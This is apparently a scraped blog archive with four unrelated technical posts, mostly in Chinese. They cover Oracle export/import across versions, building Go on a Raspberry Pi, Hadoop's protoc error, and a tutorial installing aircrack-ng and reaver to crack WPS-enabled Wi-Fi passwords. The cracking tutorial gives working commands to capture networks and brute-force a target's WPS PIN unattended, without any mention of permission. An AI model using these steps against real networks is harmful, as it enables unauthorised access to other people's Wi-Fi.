Author: strong

oracle expdp/impdp高版本导入到低版本

oracle 导入导出  使用expdp/impdp
我的版本11gR2   版本号 11.2.0.1.0    同事的是11gr1 需要指定版本号11.1.0.6.0

我装的oracle是11gR2  同事装的是11gR1  用expdp导出  impdp导入  提示版本不兼容错误
经查看oracle文档  看到了 这个参数version  最后加oracle版本号 version=11.1.0.6.0   成功导入

Sql代码
–创建dump文件目录
create directory dump_test as ‘D:\test\dump’
–授权读写权限给你要操作的用户
grant read, write on directory dump_test to
username

–查询是否存在自己创建的文件目录
select * from dba_directories;

select  * from da.user_tables

–注意低版本是不能导入高版本 比如我的数据库是11gR2 对方是11gr1 需要指定版本号11.1.0.6.0
expdp username/password directory=dump_test dumpfile=data.dmp  version=11.1.0.6.0
–默认导在刚才创建的目录 ‘D:\test\dump’

–导入文件
impdp username/password directory=dump_test dumpfile=data.dmp

Building Go 1.5 on the Raspberry Pi

This is a short post to describe my recommended method for building Go on the Raspberry Pi. This method has been tested on the Raspberry Pi 2 Model B (900Mhz, 1Gb ram) and the older Raspberry Pi 1 Model B+ (700Mhz, 512Mb ram).

This method will build Go 1.5 into you home directory, /usr/local/go.

As always, please don’t set $GOROOT. You never need to set $GOROOT when building from source.

Step 1. Getting the bootstrap Go 1.4 compiler

Go 1.5 requires an existing Go 1.4 (or later) compiler to build Go 1.5. If you have built Go from source on your host machine you can generate this tarball directly, but to save time I’ve done it for you.

% mkdir /usr/local/go
% cd /usr/local/go
% curl http://www.strongd.net/dl/go/go-linux-arm-bootstrap-c788a8e.tbz | tar xj

Step 2. Fetch the Go 1.5 source

Fetch the Go 1.5 source tarball and unpack it to /usr/local/go

% cd /usr/local/go
% curl https://storage.googleapis.com/golang/go1.5.src.tar.gz | tar xz

Step 3. Configure your environment and build

Go 1.5 builds cleanly on arm devices, this is verified by the build dashboard, however if you want to see ./all.bash pass on the Raspberry Pi, some additional configuration is recommended.

Lower the default stack size from 8mb to 1mb.

This is necessary because the runtime tests create many native operating system threads which at 8mb per thread can exhaust the 32bit user mode address space (especially if you are running a recent Raspbian kernel). See issue 11959 for the details.

% ulimit -s 1024     # set the thread stack limit to 1mb
% ulimit -s          # check that it worked
1024

Increase the scaling factor to avoid test timeouts.

The default scaling factor is good for powerful amd64 machines, but is too aggressive for small 32 bit machines. This is done with the GO_TEST_TIMEOUT_SCALE environment variable.

Step 4. Build

% cd /usr/local/go/src
% env GO_TEST_TIMEOUT_SCALE=10 GOROOT_BOOTSTRAP=/usr/local/go/go-linux-arm-bootstrap ./all.bash
# Building C bootstrap tool.
cmd/dist

# Building compilers and Go bootstrap tool for host, linux/arm.
lib9
libbio
liblink
...
##### ../test

##### API check
Go version is "go1.5", ignoring -next /home/pi/go/api/next.txt

ALL TESTS PASSED

---
Installed Go for linux/arm in /usr/local/go
Installed commands in /usr/local/go/bin

On the Raspberry Pi 2 Model B, this should take around an hour, for the older Raspberry Pi 1 Model B+, it takes more than five!

As a final step you should add /usr/local/go to your $PATH, and to save disk space you can remove /usr/local/go/go-linux-arm-bootstrap.

树莓派（raspberrypi）安装aircrack-ng,reaver及wifi破解教程

硬件环境

树莓派B+一个（我用的是debian环境）
PC一台（或其它设备直接操作PI就行）
无线网卡（能用就行，不过强大的无线网卡会事半功倍，我用的3070）

安装依赖包

sudo apt-get install -y libpcap-dev libsqlite3-dev sqlite3 libpcap0.8-dev libssl-dev build-essential iw tshark subversion
sudo apt-get install libnl-3-200 libnl-3-dev libnl-3-doc libnl-genl-3-dev libnl-genl-3-200

安装aircarck-ng

svn co http://svn.aircrack-ng.org/trunk/ aircrack-ng
cd aircrack-ng/
make
sudo make install

安装reaver

wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz
tar zxvf reaver-1.4.tar.gz
cd reaver-1.4/src
./configure
make
sudo make install

如果上面下载的地址被墙，试下这个地址：http://lok.me/wp-content/uploads/reaver-1.4.tar.gz

如果安装成功后，会有airmon-ng,airodump-ng,reaver等命令可用。

破解教程

sudo airmon-ng start wlan0
sudo airodump-ng mon0
 

sudo airodump-ng mon0


根据上面的airodump搜索到的无线信号，然后可以挑信号强的进行破解（注意，要选择开了WPS功能的）

sudo reaver -i mon0 -b 00:00:00:00:00:00 -a -S -vv -d2 -t 5 -c 11


如果想挂机破解，记得加上nohup命令后，可以断开ssh。然后剩下就是等待。

nohup sudo reaver -i mon0 -b 00:00:00:00:00:00 -a -S -vv -d2 -t 5 -c 11 -o fbi &

如果破解成功后，打开输出的日志，就可以看到reaver出来的密码。

protoc –version’ did not return a version

按照hadoop官方网站的文档，路径为http://hadoop.apache.org/docs/r2.2.0/hadoop-project-dist/hadoop-common/SingleCluster.html.用svn co http://svn.apache.org/repos/asf/hadoop/common/trunk下载资源，使用 mvn clean install -DskipTests 进行编译时候，抛出异常

INFO] ————————————————————————
[ERROR] Failed to execute goal org.apache.hadoop:hadoop-maven-plugins:3.0.0-SNAPSHOT:protoc (compile-protoc) on project hadoop-common: org.apache.maven.plugin.MojoExecutionException: ‘protoc –version’ did not return a version -> [Help 1]
[ERROR]
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR]
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException
[ERROR]
[ERROR] After correcting the problems, you can resume the build with the command
[ERROR]   mvn <goals> -rf :hadoop-common

[ERROR] Failed to execute goal org.apache.hadoop:hadoop-maven-plugins:3.0.0-SNAPSHOT:protoc (compile-protoc) on project hadoop-common: org.apache.maven.plugin.MojoExecutionException: ‘protoc –version’ did not return a version -> [Help 1]
[ERROR]
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR]
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException
[ERROR]
[ERROR] After correcting the problems, you can resume the build with the command

[ERROR]   mvn <goals> -rf :hadoop-common

经过查找原因，适用于没有没有安装 protoc 2.5.0，在官网提示为：NOTE: You will need protoc 2.5.0 installed.

需要安装 protoc 2.5.0，他是google的一个数据缓冲高效可扩展的服务包，

下载地址为http://code.google.com/p/protobuf/downloads/list

由于使用的linux系统，所以下的 protobuf-2.5.0.tar.gz   2.3 MB

然后，安装protobuf 服务包，官方提供的命令如下：

$ ./configure
$ make
$ make check
$ make install

如果，如果系统默认安装了gcc,将会顺利的完成，如果没有的话，将会抛出找不到  找不到当前的文件夹 $path路径，

由于我是用的ubuntu,使用
sudo apt-get install gcc
如果不能安装完成，你需要更行
sudo apt-get update 更新ubuntu 的库
然后再继续的安装
sudo apt-get install gcc

 

面对下面的错误，百度一下，这是缺少相应的库导致的，所以可能在不同系统，安装不同软件的时候都可能出现。

configure: error: C++ preprocessor “/lib/cpp” fails sanity check

使用下载库文件， sudo apt-get install build-essential

 

然后，在执行./configure,顺利的完成

在后查看版本，$protoc –version

将会提示找不到 protoc

让你安装  sudo apt-get install protobuf-compiler

不要安装，如果安装了，它和你的protobuf-2.5.0.tar.gz  没什么关系，运行

$protoc –version

libprotoc.2.4.1

hadoop 要求的版本为2.5.0，mvn编译将不通过。

这个时候不慌，因为protobuf-2.5.0.tar.gz  我们已经编译完了，

只需要完成配置完成就行了

$sudo vi /etc/profile

export PROTOC_HOME=/opt/protobuf-2.5.0

export PATH=$PATH:$PROTOC_HOME/src

然后，

$protoc –version

libprotoc.2.5.0

祝你成功